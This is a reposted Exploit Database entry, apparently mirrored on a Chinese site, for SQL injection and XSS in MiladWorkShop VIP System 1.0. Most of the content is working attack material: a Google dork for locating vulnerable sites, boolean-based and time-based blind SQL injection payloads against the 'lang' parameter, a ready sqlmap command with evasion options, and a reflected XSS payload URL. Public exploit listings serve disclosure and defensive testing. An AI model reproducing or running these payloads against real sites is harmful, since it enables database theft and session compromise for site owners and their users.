MiladWorkShop VIP System 1.0 – ‘lang’ SQL Injection

• Exploit Database
• 37 阅读

• 作者： AYADI Mohamed
  日期： 2020-03-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48218/

• # Exploit Title: MiladWorkShop VIP System 1.0 - 'lang' SQL Injection
  # Google Dork: Powered By MiladWorkShop VIP System
  # Date: 2020-03-03
  # Exploit Author: AYADI Mohamed
  # email : ayadi.mohamed@outlook.com
  # Vendor Homepage: https://miladworkshop.ir/
  # Software Link: https://miladworkshop.ir/vip.html
  # Version: 1.x
  # Tested on: Kali Linux (sqlmap)
  # CVE : N/A
  
  
  [ SQL injection exploitation ]
  
  Address : http://vip.target/forget
  Request Type : Post
  
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause
  Payload: lang=en AND 3-4400' OR 6146=6146-- ivGZ21=6 AND 000wM2X=000wM2X
  
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: lang=en AND 3' AND (SELECT 2915 FROM (SELECT(SLEEP(50)))StCO)-- vkVG21=6 AND 000wM2X=000wM2X
  
  example :
  sqlmap -u "http://vip.target/forget" --data lang=en'%20AND%203*2*1%3d6%20AND%20'000wM2X'%3d'000wM2X --random-agent --banner --ignore-prox --hex --level 3 --risk 3 --time-sec=6 --timeout 100 --tamper="between.py"
  
  
  [ XSS exploitation ]
  http://vip.target/%22%3E%3Cimg%20src=%22aa%22%20onerror=%22alert(1)%22%3E%3C
  
  #creetz to all Morrocans cyber security